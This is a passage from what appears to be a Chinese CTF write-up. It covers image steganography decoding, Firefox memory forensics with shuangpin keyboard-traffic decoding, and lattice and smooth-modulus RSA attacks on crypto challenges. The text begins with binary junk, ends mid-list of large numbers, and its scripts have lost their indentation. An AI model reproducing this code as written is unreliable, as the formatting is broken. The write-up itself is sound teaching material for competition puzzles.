:D*\x00\x00\x02\x00\x0c\x00\x10\x00/$,-.[.\x15\x00\t\x13(6\x04\x1d\rG)9@@J\x0e+\x05s\x17}Eo/\x00\x0c\n\x00\x17\x0b\x01\x00\x02\x0e+%\x08\x19\x00\x0c75A1Y2D`]&j\x0f\x08\n\x00<\x19 !\x00\x05\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x00\x0e\x00\x18&]\x1f\x12\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x06\x00\x06\x00\x05\n\x00\x03\x00\x01\x00\x0c\x1d09\x17\x08\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\t\x17\x10\x1b\x02\x01\x06s\x03\x0e\x16\x00\x17\x01\x00\x00\x06\x06\x1e\x00\x00\x00\x19f\x191\x07\x00\x06\x14\x1d\x0b\x0c\x02\x02"\x05\x1b\x16\x15\x160\x00\x0f\x00\x12\x1d\x0e\n\x18\x00d\x9en\x00\x05\n\x00\n\x1b\x13\r\x00\x00\x04\x10\x19\x0b\x05!.\x02-\x173N!V\x08.LW\x07\x00i\x13g\x06G\x11T\x00\x02\x02\x04\x00\x08\x06\x08\x01\x1d\x01\x00M>?\x00\x00\x024\x00\x00C{o\x001`n\x00\x00\x00\r\x04'
sec-image
每张图分40x40,然后中间的12*14是要注意的地方,每一张里面都写了四个字符,第一张图里可以模糊的看到RCTF字样
里面再分2x2,左上角代表第一个字符,右上角代表第二个,以此类推
Exp
from PIL import Image
ORIGINAL_WIDTH, ORIGINAL_HEIGHT = 800, 800
SUB_IMAGE_SIZE = 20
def check_left_top(sub_image):
box = (4, 4, 16, 18)
sub_sub_image = sub_image.crop(box)
result = ""
for yy in range(0, 14, 2):
for xx in range(0, 12, 2):
result += "1" if (sub_sub_image.getpixel((xx, yy)) %
2 == 0) else "0"
if ("0" not in result):
return True
return False
def check_right_top(sub_image):
box = (4, 4, 16, 18)
sub_sub_image = sub_image.crop(box)
result = ""
for yy in range(0, 14, 2):
for xx in range(0, 12, 2):
result += "1" if (sub_sub_image.getpixel((xx+1, yy)) %
2 == 0) else "0"
if ("0" not in result):
return True
return False
def check_left_bottom(sub_image):
box = (4, 4, 16, 18)
sub_sub_image = sub_image.crop(box)
result = ""
for yy in range(0, 14, 2):
for xx in range(0, 12, 2):
result += "1" if (sub_sub_image.getpixel((xx, yy+1)) %
2 == 0) else "0"
if ("0" not in result):
return True
return False
def check_right_bottom(sub_image):
box = (4, 4, 16, 18)
sub_sub_image = sub_image.crop(box)
result = ""
for yy in range(0, 14, 2):
for xx in range(0, 12, 2):
result += "1" if (sub_sub_image.getpixel((xx+1, yy+1)) %
2 == 0) else "0"
if ("0" not in result):
return True
return False
for pic in range(10):
img_left_top = Image.new("L", (40, 40), 'white')
img_right_top = Image.new("L", (40, 40), 'white')
img_left_bottom = Image.new("L", (40, 40), 'white')
img_right_bottom = Image.new("L", (40, 40), 'white')
image = Image.open(f'./test/flag{pic}.png').convert('L')
res = ""
for y in range(0, ORIGINAL_HEIGHT, SUB_IMAGE_SIZE):
for x in range(0, ORIGINAL_WIDTH, SUB_IMAGE_SIZE):
box = (x, y, x + SUB_IMAGE_SIZE, y + SUB_IMAGE_SIZE)
sub_image = image.crop(box)
if (check_left_top(sub_image)):
img_left_top.putpixel((x//20, y//20), 0)
if (check_right_top(sub_image)):
img_right_top.putpixel((x//20, y//20), 0)
if (check_left_bottom(sub_image)):
img_left_bottom.putpixel((x//20, y//20), 0)
if (check_right_bottom(sub_image)):
img_right_bottom.putpixel((x//20, y//20), 0)
img_left_top.save(f"./out/{pic}_0_0.png")
img_right_top.save(f"./out/{pic}_0_1.png")
img_left_bottom.save(f"./out/{pic}_1_0.png")
img_right_bottom.save(f"./out/{pic}_1_1.png")
结果
gogogo
pslist发现一堆的firefox,于是去dump了places.sqlite并发现了里面的百度网盘地址,提取码则在剪切板里
https://pan.baidu.com/s/1ZllFd8IK-oHvTCYl61_7Kw
提取码:cwqs
下载下来文件名是pwd=?,于是去内存里全局搜索pwd=,发现了一个b站用户的名字,然后密码为其uid
解开压缩包后再解键盘流量,结果如下
niuo ybufmefhui kjqillxdjwmi uizebuui
dvoo
udpn uibuui jqybdm vegeyisi
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi
zvjnybufme hkwjdeggma
na mimajqueviig
kyllda doqisl ba
pnynqrpn
qrxcxxzimu
结合流量包名lqld进行“合理脑洞”后猜测可能是连起来打或者是连起来读,尝试后发现为双拼输入,手打结果如下
你说 有什么方式 看起来像加密
是这不是 对哦
双拼 是不是 就有点 这个意思
这么说来 借用过我电脑的人 都没法 好好打字
最近有什么 好玩的跟妈 那 密码就设置成
快来打 夺旗赛 吧
拼音全拼 全小写字母
因此得到密码为kuailaidaduoqisaiba,解开压缩包拿到flag
Crypto
Hello, XCTF!
from Crypto.Util.number import bytes_to_long as b2l, isPrime
p, hello = int(input("p = ")), input("hello = ")
assert p.bit_length() == 100 and isPrime(p)
assert b2l(f"{hello}$".encode()) % p == b2l(b"hello")
assert len(hello) == 64 and all(x.upper() in "XCTF" for x in hello)
print(f'Hello XCTFer! Take your spoils: {open("flag.txt", "r").read()}')
感觉这个应该就是可以直接爆破一下。先枚举一个出来,然后直接爆破
roll个素数,然后拿类似小鸡块mod系列的脚本打,先放个两参数版本的
from Crypto.Util.number import bytes_to_long as b2l,long_to_bytes as l2b
from Crypto.Util.number import *
aim = b2l(b"hello")
print(ord('C'),ord('F'))
p = getPrime(100)
s1 = b2l(b"['")
s2 = b2l(b"', '")
s3 = b2l(b"']$")
kj = sum((s2*256+ord('C'))*256^(5*i+3) for i in range(63))+s3+(s1*256+ord('C'))*256^(5*63+3)
print(l2b(kj))
aim = (aim-kj)*inverse_mod(3,p)%p
length = 64
L = Matrix(ZZ,length+2,length+2)
for i in range(length):
L[i,i] = 1
L[i,-1] = 256^(5*i+3)
L[-2,-2] = 1
L[-2,-1] = -aim
L[-1,-1] = p
L[:,-1:] *= p
res = L.BKZ()
l = []
for i in res[:-1]:
if(all(abs(j) <= 1 for j in i[:-2])):
for j in i[:-2][::-1]:
if(abs(j) == 1):
l.append("F")
else:
l.append("C")
print(res[0])
这道题特殊的点可能是为了确保有解给了8个可能性,然后测一下间距发现一个神奇的事情
这样一来可以改成'T','f','x'三参数的脚本
from Crypto.Util.number import bytes_to_long as b2l,long_to_bytes as l2b
from Crypto.Util.number import *
l = ''
while not l:
aim = b2l(b"hello")
p = getPrime(100)
kj = sum(ord('f')*256^(i) for i in range(64))*256+ord('$')
#print(l2b(kj))
aim = (aim-kj)*inverse_mod(18,p)%p
length = 64
L = Matrix(ZZ,length+2,length+2)
for i in range(length):
L[i,i] = 1
L[i,-1] = 256^(i+1)
L[-2,-2] = 1
L[-2,-1] = -aim
L[-1,-1] = p
L[:,-1:] *= p
res = L.BKZ()
for i in res[:-1]:
if(all(abs(j) <= 1 for j in i[:-2])):
for j in i[:-2][::-1]:
if(j == 1):
l += ("x")
elif j == -1:
l += ("T")
else:
l += ("f")
print(res[0])
print(l)
print(p)
#ffxTTTffffxfTTxTffffTxfTffxffTTTxxxxffffTfxfxfffTTTxTTTTTfxTTTxT
#991615767035166654509965411031
D3
这个题目现在看到了怎么利用p和q的关系的。
from math import lcm
from datetime import datetime
import random
def rctf_pow(base, exp, modulus):
rctf = datetime(2024, 5, 25)
rctf_exp = int((rctf.year * "1")[::2] + bin(rctf.day // rctf.month)[2:], base=2)
return pow(base, rctf_exp, modulus)
RSA_encrypt = pow
def RSA_decrypt(c, e, p, q):
work_state = random.choices(
population=["Functional-State", "Garbled-State-1", "Garbled-State-2"],
weights=[19, 9, 7],
k=1,
)[0]
d = None
match work_state:
case "Functional-State":
φ = (p - 1) * (q - 1)
d = pow(e, -1, φ) + 2024 * φ # 这个不影响 觉。
case "Garbled-State-1":
φ = (p - 1) * (q - 1)
d = rctf_pow(e, -1, φ)
case "Garbled-State-2":
φ = lcm(p - 1, q - 1)
d = rctf_pow(e, -1, φ)
m = pow(c, d, p * q)
# p和q都是我们操控的
return m, d
def arbiter(msg, e, p, q):
c = RSA_encrypt(msg, e, p * q) # e和p-1互质,
# mes是无法控制的,其他都可以操控。
while True:
ms, ds = zip(
*[RSA_decrypt(c, e, p, q) for chip in ["chip-1", "chip-2", "chip-3"]]
)
if len(set(ms + (msg,))) == 1:
Δ = len(set(ds)) - 1
match Δ:
case 0:
return "😄 My arbiter works perfectly!"
case 1:
return "😅 Something doesn't look right..."
case 2:
return f'🚨 Error detected! Take your spoils: {open("flag.txt", "r").read()}'
这里的话,ds里面的三个肯定都不一样,现在问题就是,怎么让 pow(c, d, p * q)=m
这里现在的情况就是d = rctf_pow(e, -1, φ) 然后怎么让这个d和原本的d能有相同的功能。
pow(c,ed,pq) # e*d-1=e^(rctf_exp+1)-1 这个得是phi的倍数最好来说。
也就是说找到一个p和一个q满足 (p-1)得是 e^(rctf_exp+1)-1的因数. 确实这个地方满足这个p-1是光滑的好像就行。
这个和GoogleCTF2022的Cycling感觉一脉相承啊,贴一下当年复现的wp
https://ctftime.org/task/22913
factordb一下感觉八九不离十
import itertools
from Crypto.Util.number import long_to_bytes
# From the itertools documentation/example
def powerset(iterable):
"powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3)"
s = list(iterable)
return itertools.chain.from_iterable(itertools.combinations(s, r) for r in range(len(s)+1))
rctf = datetime(2024, 5, 25)
rctf_exp = int((rctf.year * "1")[::2] + bin(rctf.day // rctf.month)[2:], base=2)
#factordb->Google2022 exp
factors = [2,3,7,79,2731,4057,8191,121369,22366891,6740339310641,10030854869257, 4929910764223610387, 4966300248405749059, 18526238646011086732742614043, 3340762283952395329506327023033, 167510000247425697384594847173622455701743569339841261429683667, 8342680841093063014359532631803433656669591074421858694040109486076573471951766107416262860801]
T = []
for ps in powerset(factors):
t = prod(ps) + 1
if is_prime(t):
T.append(prod(ps) + 1)
print(T)
然后就是爆破+提取lucky_prime的操作了
[2, 3, 7, 43, 60185129215543, 46770671975333534613088578322463, 110420238586920863, 1196676679086110738119607, 3319, 2954364199, 544454860723, 331260715760762587, 492976393404504523, 11452955385104625407, 13401593937055998100079, 9167548892949675133366445107492015492432137137858251439738687089651672068458528089092333360744203, 4027321638356841032370655828255397764822279002753222887, 402702343, 74213344339, 555798180820958463922085702922079308018385163069593305423690407107, 2565527131483, 2124996625174763670419043315960187, 41753606119, 2092281955214348377195909022724847, 6381739904822878304309179, 322124745655804069733128813822125107518655515224762862871987425947007, 1286742769851247, 577064106873128242843, 283612372943408244934346623, 35418448818623206598365145558568926591023, 448084290173471019283, 271863871194931148631139608968488443401436378890467543, 24199197145819, 9170635393626321665366797378911263785166119346552283793731218078515354636060291738949801089792415929253887, 815392518842065557831440694639651717283473225738491263, 36011070280011630822796092627475058227, 36276881231772892598841468882727404883, 2585052944496664040488766120459, 8562891168052823344266539, 3840190331681789092736332534127, 1901287422332059081679610321422445563, 47517965408559606075293867767338104792963, 353554326270448054543245144021359672895564722746005243302705186228925259623383651279, 38908753804211298964846321917170775804954123732008599567019748848630942868764879653631420866714467583541514407087, 383538465677135749899548081819, 65913090432074737330538164336834666566558142332704809509590811197345111483, 26947921708892409307324634178250899448541999, 1102682482980753322707384966051022339006350292273686349979, 108589405773515652027929783484585923, 183007116419072044186772682409057197496574605807367, 3011058345066519920264180738701247356259319410951493683084579, 299751990816392370400651717499, 182934206784631769268282961835612983009919930564652086447, 10986151769313328945057156033886654809553891305637984848343, 257155957927643421094638371896721596718561798835994890665196329683901373587450187687381215638742739276144925806361753703661272230871675929398806283775136290103371324264122332031020865191332433576591114759, 1099780096003, 301083537979267, 164079145950336839267080055228218963, 4665958681819783348179338839, 94721984446217816944672191305940188269916862666145269090786822599334947402359145994559, 14000036596294523920279, 141751613045271005140487675032702177554902190373454824975818252606248952878066140235083, 4749036435085296310550599574955181694130425173687811499290483404967432589593397110973271351304800665153254168944267384708536406603, 11515981224788190242571620514743346019, 8422834101400936603041015729989743659820327, 252077491960081415759572648392325407583, 13999355917790600481104015179011817800725121199, 14102690311676084576140690466838540491062886287, 12815075723017380661339167490217834716685002724802048552142120987874254691598427, 21686414181659338948145048708098230966898851499894521753991390155886061796819415797479400976833741158838624051213311968918450019848374125308277545522159999, 64486819936505778290234310820551828523, 77653195767323260324148629507, 212044996402073095523728124033707, 129966073822609575594736860094960619347, 240296859926676633911225841523984420470244726896416200468485349747, 30112959820461915010098989563, 6036194204794489371210623927881116644768184999618541595156947, 5502063891598198139634317952133722011584677492439, 342754135529618220481338908114460014521358541596683067932383408812135732771302042035660123382847458364603107, 30059417810366004005523091183, 146096912126007186248083747789666311222883, 182850797921974244745951570930449374080708461391725011853414276494963, 13330115421579895946448331853558717299463284731427, 8966986411150217275357561799858546403450943443226811882662663, 615148700477328156580253222330271581668622808778582450209684847852038531368869307367499527646287735047947, 13624313351837371913752131954949419640904355758987007912623956722787914315817534525706291250374511103981275969839256401218091726383, 37203458880526327349695438463431886170353664593637489488194062264352886780518907413650264242629764258459146094288113227578723583443783, 22170702318177842828344569469027950969899428362292872445024183007405863, 18439414773143889874600778630096001541487219917401603018725416608826771182787070648354981064873031571355384435217381572540871153947012730337849252488567, 252317587601882793422573888195307422710561144573027529031988112720635860730741620532933022557672022509662405271523, 10417973665669519793199360298113511270257879503273321891917698218728775202595776418764037463097101741607354489102646535793011534629018494851684801318844577038050061215110583, 126894931832816009658219803, 256198271294699515679191127, 187384426394864465030360872225283, 1922872041773505901117524656891055255930294299, 1039269538175403116470285450523, 231006573291417272938215726177235985514092513396770223, 168776838500742201764077882216501401102637462847, 2098263935714746592804562022487, 126837475080031479313629173290586784489915107, 42554856379363828609363404243261873223031944063526199977081699, 643708467163971080542895677438878818614582484100413574513910480706389298047503052700472577207621892382515585399, 1976543121689410058477074569823333828367952112106059100657742855880587924846693300143, 24347150215373105181818180161816195414972145640294322053439916670346633258065852427701105791973875107691578572939392364470399627090473825395316707558579377184293229073934684301064103963, 12271943183940844943777944531195455179, 685035042674405957097799580639079376967627172319762571970204969939581294609660350793494340935359308579267, 16699087486141267956227836048209169594524967424046519916548567893331933279747939299, 752718127344681448950176627152999438211731675630157542725906686650414164474435608585557866209147, 2026602736259639388495898747370982544340554839456915365285956823, 365449140282378456202543352075431690381837337587771836822292147283, 84135760181391454592187724986658132787790998783975497670909958552615261271622424118001389685271340171389240937681389280973689692910577290505337261765795594143, 744514147304399122818847, 1690866549722426676946471514335134141460216772102937459833477717562112651889586518948451281559195166676129479, 62241068399601861030628513036633591464404126617591570029395192549607454354355187127878850454541776894906370401771469148192128313507, 5017665541190870181751717683692471107, 37578273889132917932896074198886899046458279909002470002750128010517356905432246651840515123, 46511537649341721989737662771636712020820248778706743272530224226174921866322880524522475656951174830650134936011908597840372616612484732504155241478900372025627919738053843, 2528181933442437668609414948591430509748787657660843348144351590129053164960834701342405291902497399180520766052302006575581476444629173356629239, 462616051836602707, 1143809336002374900473424307, 31450144724896547552463095625764077975159, 2915653495045308930807295805099657103396216784263349215178643679309360452874715165326885016034569843, 52027178610332779462338557756825085703719481737617854501408903259584939, 835099177463161993366723608880963, 3138240709557062332396386589016101758655219, 174285091093124045036193162858457503237096951028003, 128413726861309501160509714173378039808321303828132915399, 687199586636419903985053500743924198816863, 2064766736645026876486659562981537413504163, 7759240104106729453441201842214527384417868996680019, 4723906434705247513470843863740467284161117088028337988962918717973431571565202602134946566856708232028187772916575221124375963, 3138088129027972978666349618968357608560009450536898773242275007739, 4704519113229776666327714891186597018403719337834301816412239705483, 313122067883427321785401067171302816460678506797455419, 5228973836455524776755387485424330356641551641739732575585681429202650811225112089306484546711239873759, 156340466972338164846127788937814070205773043756736651681175877983712939, 583369397466845003083054409271457903, 2938944350971059508229001316231889222946211280897960815484596158346710094649986766614282072511131899739, 19618998283554415485826216927975946857325274780273019, 215435135855907905045818612210243178715906013666566200547828960347227, 394977110309325265757609149549572517470010378981902453296587208716126082208238401583, 2939216155563416972715054660333196776937096748928046612742236587818406706921231683208628098681738682573658224659, 640976509959948689427897168131260662940829074188943, 1774767726458136651613828908735200568030960199219978783786365855163, 59861733569886403465052579807703214099209122849416013733757209999947190906160745607053467605182737919458353307, 15790888324015272903445587101972054293847876023951827127, 148616927549317502499537917401136604195439462146602406820238117067487689188222919928288148581311474251299289607010047758551207102165176464440656761891034774422381269619685548020747, 388896373214213206949911472870917037867907783721680602625753513552668722363132501003, 73529325933038725795510741835725402798316491939, 272640724998196883355944147656681907788110690150098521411084496721173334217425433194652369843741160508297223, 2497406336363998286928214922925462006842246248731897420693306384847400473041764435569455840436699, 37207999763867862696457072368966865039309795577793518609376025809933793996497686789703881404772789824972864673631009231726608504749243, 122962910912199114967036728131868710791454677430658820466904696430063, 370284256959188247785715666201438692711306821215625319732033076998393472144043038827386462682292607676315231413934043583, 33948493787133235531022458832819495226403045849040335652664235390555120185521786844043804828147, 398552547918371395092733893192884001801842911965159104275599679, 2226492230775753263764271928501245616213735474902380544134267, 2706626259491720092962231082233149606473663123608405097999744676131927, 1340057137707438026445595755886725805577500586569833299720454781508284434163, 6646185986879303118976932713647797610380830211643, 3266431851004873954572511175579207828368972167320707423, 5068004449858236080987841048661311749942797902866433214148480932738976620790850549642113296346403910930514248438678452198682543, 150417376455684082725425888120416542105001296867041856809777271956592560516518158192588017263867, 810892647742231801268596597667284203579612015321848791999652650174381569808552579, 3047274368004561997442324167901623850799523036193953814800080529210230977247074216931361843, 153202803653316857156279840530331093920218242635306044965239127468125751466139606137121308315488967460083082654842493511194556394298733343233057201904449900879912427038786249531343870727, 1672759324801401837295835180121046763, 151906891300106966188284447894393365218493249543, 418081550270216473588478346959086614864039087340570901431107627097850462162219135878493390529810394402599905666731683869739077403810922043843035163843, 78200665675255834168269015295022354793845520819163826077061112261047704251774441940523989509762722683075049783546944607249646961145967274203324731258700807369095675489266163088169761868893767, 1253084897984369865980075479802180270336917839492715885314858640823370187500359501649780626998928812105199182060158555284052690997799, 121239603142235466671359967872023795359, 1039396386642595935110478398183, 21079981027143061270197078395997394054784398537396061952529427, 5836473525056282237570305715863301592100328412579382750918423488293608639851524928883590807492659399895630127596162371050127, 16041907742777327611088725054694958719264235349772274845989448539396772187548032307208595290120174474173233417101159844793069411127338012699, 514579636399687711575393556039910584675585585043, 5161324565601032601988385909011686052466692558799, 86284493006925668521590550853828859910540608822362679232180805162169717906840922245236557962131376200335940063, 426861588323473969418210906396545016351829000470476637973503872188197558387, 3553641667811085473886585170285075033898140325367706576446671390808294254786829356602313893111620301912876569292842407221717353594819154047655582257841413246127, 8579610116119035090803678661545650979, 5813704486076287141395706099915886449094849134186372483632410613888494783, 433814740918309757575256559529509450492924498965294178437469688115998182576707146805535132085588643130587, 1762997511586710334524845728544457815141494640049968519, 117650884384385723408198632140512103791395739, 436239854074674103900530825143526112856421498422407843162626633124656017672623326931482032661387594509423, 2421786247214514300716655519560377130668970677036924056950792940161196871029941177860824103257807906182246960798639, 535988282260792609049181310115798796761438296207009214776167241683071208149177945940657930486167049095672961148959507645071725949966602992223542062553552180426073848095721232851840711407, 713783383124544485555040181436109685064764999702555851390565612138299500609300363, 3213409150236868577045023829539027467322052075876248991934296630169407052179, 2651609826000232159427230129997578677958377166618760369694628633812858903209970774188689629469194989386947313543921445398306809216945639347104049390819, 166972111207776058888841792117421463745269004513339616993811965782334369629561092526871372397186840463972610272030694780172199279099, 8211485365171392936890549210777042672693190767, 15422515261179889420989423484270774839385083288879353122379254299001851788343345855235253026239570341290503680889198395783339, 4145283532367411237235938468839507320702002148615515842273157034774171220785236149912316824095264070392707660200055797967607206230905572676221915736290339, 12505772774575858803723518800181673357938031510170479348651270828736091021590878286104490216621362170011656160905130134674652295381452338368067219707, 2040282652279015910101189444436526793061496866726825345012697431809687017813838744477611508360268627, 46118233796155603936339558713826760292109143669090663269867521933878513928492400952121586522144165568210151308443553866024181684994739117309353684365278815935896075380363282442986029259875354934624219675466183, 248836448591108785356835003429110907839387598797798120015622165574359998060201101426011820688743, 10465007534233807129239611300983218345981269928647055226191802359949630990087872307715467325592840770755054340941823514255958817846438389901450793680186658628593011052373643065099769121314859070630893821975755433251327943, 1121456354563417402918194589389183890619824853961255567900631992043487510827955114604791063349003020203, 41802975284309827746925580386266090829208027785089480782438334226320944099780761312242455115014916859136163817210532208924029098685226201048015400794072078771942213623, 44755746992646705252891455299, 21996314545049412392488982040344119, 201487636602438195784363, 18511005740678671960251581595443445691253443259115181434508999, 3663862216191731984689535917267878666613423, 6779760373829326807563758367272657437890407737436869231699, 27498773449261578961091419455406100025417509814071875166533507, 8357033910024711325032469332413552097329508391820499967851979341084304091681059, 42135110587380634962685093483863148481369176696283858580821710130011211985623853156334551416821982162503861152479910115858873858525879880743039, 66456573514302597734450548552250765231560759665936575527927, 840509156046382059917031805934415592300136282772148165282281813447288575511900368746831751117625703, 8299316152003953617452225544483791658229833299262318568971327489221473127, 1143781238774561113459251435704038770193730737603951664180058432015637284013958518735533551083920786865407581406729248503, 284815827275565664632584957011605295974690274271623, 871014121026710455596726101759944099312956606969571241575123439583152359772236117802921976998858016638972665806195503416219, 357192107400225520482853801247225576789136398879086375550769190019723961450892746610564918538041273237009423657010199116504048583833100525500685993919, 240278247556862982985577407384508602402327297301281836158480523794295654650180786170611202182792566404126061225634442582730776376063375799831987547962873898560667, 17191076425310918834847776650227799, 10491459693305416599305296144234240188601917937813361809764547, 1556822393808688475659873569895011669497878918472831931220599333055786027, 1163686233014844751961165126444111198000751942601789151286872285636681013487759, 25969916714171068235252426069630243695464280929233670761724352992779687306449310950471247313277843, 258853479020777005564771652561486579731621826467088037696542415486509153720522766735709673886394128601007820187, 12825197381948734131335447377237879943804100984487030769788629320730763, 1059971604016697741572011654277559160753528066375821503163907236860516312906987, 64210122141124380010366034020476444787330393937471464382006092787592311309178936526247720451359950785069043, 105225466213027072650095369250247476171560984423932004788794576558387996463, 316870617984120580581853426087311929442081185504793274361117626950628065914158357270443570487820800239963105995231726798153983, 532297747122731439559698397754052241331295350453887664385813127133063814536600838499137264968838039422441971303457620561571258073444534226998093359383517966554141444020566051009523969102846197780960299, 35190991947756462374454768624163, 3957876165228666223696972903313162672943644711373692623457587, 1782299056272899319830675384280861806687951784309543910341502989360411064655305986789622742822172713253796640781054870274578103, 21359758791878565093920187731576779988005691002645619411263, 10497779716864938361599590370219940239866415140223551652833152843, 87009054210780574110324951418333424767363, 3993675139167453410032700582994583193655077050893059434409189653201960533655879012449162556196696695020307, 16034753780171379232283862954742637027810119, 52754619404291155090732925307068898839097637083796902139, 32091164400742031999354516356171359472165225382366094166222140878355564362604928350340137708041677055489577529347385579234900855077691573744639, 48978565538048691333615846846870995840623870498291063168317320449249308788600465380727905487297519600170574796703313802360859, 35823116067920205868217242247970883747082914180767600248922812398377737237916700220846405108885361256435085654893257298087751440207, 98355820492755240318530411737921647038970639420072241443315568422770170298100727369185027389668038952171490408472434136961233938114863, 295475130106634326985502807956913962622539721994696810828488331708463887143890740187199518449253774967692067200201755869651267182231208547, 323094505444322130526161696784130248755433077339387309725822982916327491148219, 4774801949399698138348795632928763680231558517334858561937776130605768921019, 11900115085229394826627194011609578719493547639125445761827437483516247575849758671746123124343, 5390603515226640428098046433225037830577226013243260751223514664748304794682325126990743734778189732251958248056201182504750832130104843153409670266437808335123187, 89360639592476103311645350759032460177162894422568039065634389004312049410693853842946924132576129608901689539074803871084969725259916845878982908136623465250893836397165811670209933065373244768062011380505873639, 290641092352723429888408697645808050584975501725230350996186185699933967, 5530523399803056587703982005958981643866316649287527619828962529911131114080519022519699582230287865528828706449683504869007, 200588087529580534517401296946913536656110696917418798853460219791103, 182838463448479971781798241189427125056383108682650532507, 7633069202756911716372267766057954050326058232291026552406508056195885263079049850636928278367586694871816677197969238969405166914548147948785500411894344814775074938107739357602459, 33536408744815308951342062382007650944960928568412613760435459, 11600944275255680776161221275899315926885389435011273973252620367262956305281635133831877276712722437165473931273251090077414318640158490193060610671713652450994164375889043988976628432507348039614935754643, 45362939836691302853887166337065500155386469145057837011475840717665795269214291820749587805698031037719362713395502909250031857223843009362532679655936168110754664927379, 9379187186099846483448392389562887193527716538023257929361661157900326509682318383389035668838517558132613196500556708160496464766963704019119, 1838942797317154809680589996856603162771750712621054588228796373419171149459514731285311194270625043374129879024519113030500386007461489339, 45773247444409660945112174643366819881639356538118458775219348210840761410214480403520213628901670004693507677601111621094073036302314650658417963114066308513777223280069485202374431151082803563590451647279008077939, 504589247075236859942937903758024126445249701918670860895716055145377601769113446682898579087588279892688015878075862944970094890438353112940570134236007879, 6987007438127120376853000072819957711592460591594358424295941032009768619901323281922188700909827539401170487249200942256025058511238950613886873153784647706408640851704120461067208543026632113098933005085842654016645184336328122143242487, 446978235237063927312189892795429876438243211963551109440812610617400299065517858060213234870363489103, 163586980164447416127343326771860881921052715028805158936054662009135479256754798820567707, 279145163084572350064657187734226605247130587439436603123160366573095008503608886670500636958572262630529191075184543628318861646795392360337875730272174560454532239860764140157216723080338243, 15050689933310003832705432451686355590680437982441475618321753888948597356959899634845426666786975022418969888745852950090023, 748095500048503103318887118651192630225536072346955034192670543144408318066963300852468260403750490903998816383, 27250798422114512532686494668664004812264820846423523681697401690407995233800611957958744234628428840748934629298749887570387045675809068728833565023, 1549057432016355675347131979637190651735719599822538464797154544695224551316922346751029046898275014322758545722261701105294687002266541837566248106058403378402620761385439324896904261967824496450831598547259, 3389202708898293557810790482304245733981243385991896146054623765933628432877722181136019677257609720543, 1538972007860451943680066618293809082785949694854288292695584790401887993059968714515760577343593126418639312077107589898780500788255617507002708807134120958013170585395998693518656472397118487047, 22614488432634788004923948594747228056075100390513604293679054234357931577003696041435292966691967571186358952575673086029252972585848656817625554729484030239378528884247, 84360869984641322136493043638337153263225127537726036827080854802295615439178230464543732423590653319599362956903500661348007907541312468863475852701339778719095571360374191567943, 37212542864979039818723840161635194325295941766337314462675624806381171761952558494128485173546424363514163383596845607438056538129223, 4963588456419634900741438956449274453618650639, 123094111943346028545043492383160763957894486528859438323, 38107265375589563186143682884694430478280615944238375620872785662490879396608696632107756609092049022381808606946950611146515386979763, 41590153224465891124017840547987079225761651820120676789965340355877215907, 16591758806543069845969954500085083219545097467100627151314567107, 18651890018365914300939990842827213081230319169273948152381577689318298927120663, 10264018399389973572242798255059658594329694023284835816614007126984225205815444678013353115748225899953686500254758726331675591962963419, 602352247018105497671752081520891797383445318374563, 9296247861565109692639452930924695075043938462868890868277910173032297545922375777143415238843763, 104036336239625478987953181994579661784905499242685813865881590544798107432001719000514044510135217343433052392532942859428151127328046901941789717687119912079664380438118963807804323977961880535219331691499570659, 335483923053855004043876587568367468361619415789541089654656270523011206952058136504673423, 22493864051658080039315166806773192271254364531133742943540076411185849365247, 499672001580430382535855001877296971685851005089732761184506058555138396732547, 410396780174049868718570917991325369314682946365021401644315442901914787937399995421607, 1033538605442452182739650582354299854573084804908938076046796080293657356633908619918167333967123505144380530620792326995065523034601907309315028031348740402091827, 33918303197161241878809405199974940112196534911309430704618944432492255096694899947888719950919, 23248065685828799237659143289991392163, 39277854241822414362116534555102894237192839179298226589055642361425772689034095533446585026210696676009374643, 28655205565051299402415009475988557271592944395640630548182274716137628132730476283, 483348331582803704992124091774870816758774631851692764718801532880781159336041609478666853933376715235414843666248035763815207366148034106677032959308594796945394988781832556044737476785858626719, 34760484003923329964371624963476849421882635589907924154684221468355201203, 2856109946214929655023194670371798173950958501371344040251958727876777503885483060375219, 10733049134847109953486814549568138184885799720757335749272426765955692280727179756015217707288803, 1743041659464944836673847910305384151596426904409249421096171550799594213456265200610105429932317360709267229804887, 1440252542245601690535338831408724356699299054840838701980620208158999001909010665287409281398139856985339074593169972126700360201618369227661274560592457405696683468488109663482793627, 117665244311045596388529442634726234760395879, 118778671937567482511850181889394340521570321290010692725600373832757775852251596598696116379522534818247079, 264077596512639688597598989902643289760968933620445956845275048331848526503, 213973244983767446590946001227712300565908062968224629061143, 10757581064082941870796272637400176696477136164972310819851108367378768570322851430883513826756524071942845251047689303980930724993148458831201128378548627, 108016970055199706565419102375653830381943231783394806143554147650269024041300086399552739235621015045079228987425520323643157282083925627035356905696964025141916782907, 2202846235692504209218616961155015789356705898173690661540791464372254345386917141344422596960613147204305817289193689708308639390270731056539949410265412750241396970843, 146364292289131278862329975425120749335907162053924988199450817557263859390176299755634742192278679802996157844026631696416860560361138880651850565617810682699, 1133756035549187458773265078125206273412938440460376498218680216245300241528458574419868291291565190443413383434500078247899403339504685755861627, 415779803517949695038774525012880666120614897689482830685114206189028278620542375875661145934196751633089691559167700604249971048314739, 1710523857731118058784787732294225008559535171205619260296269776872202492378333663801497634100790514663065068262062178218930517343497606037939487674632923083290541131731011295913072453900929537944889978860222559208036309239467, 690022090336192526853527763900803915088171094945912724951734710126916057740289651632579862019757071136156569142040444003474566866375242487265093203338406449562747, 472581900931741791993979522527066189195636090860073046070817025888018166545879716295657698785240716282854980078550418639082674744175455953244265226988035884042589406118266627983866915589028924067615002447434974239930035730683887, 37601834118250419592513638693549347865900430087340403499, 27705133156600663565878810323192138710605512979615848364203103, 6235298253066805301336465538946148380362313575190697982756472851856578278098191807429101505183495359927284901136586222871862872891808217684960781197457481349297293374208439, 768976100897544599632513948471861446238972836601531993250728757721611571322804328649886235672009312637612724976227, 62193307164250652337658662915965463714051493862075058244588838075910978767617138343123634545124122840767259548251666402936643411243, 9372446088800830480793973532793891250746715458849481749862153755730501773280020378301856187680073338882642372043541523, 1690095599010574216486389372867677193485193149978430272359356285578152058483286843287421817700240346625740878273295602983, 100424923146571674965654613792006794356128758396694127763047774906554762850027, 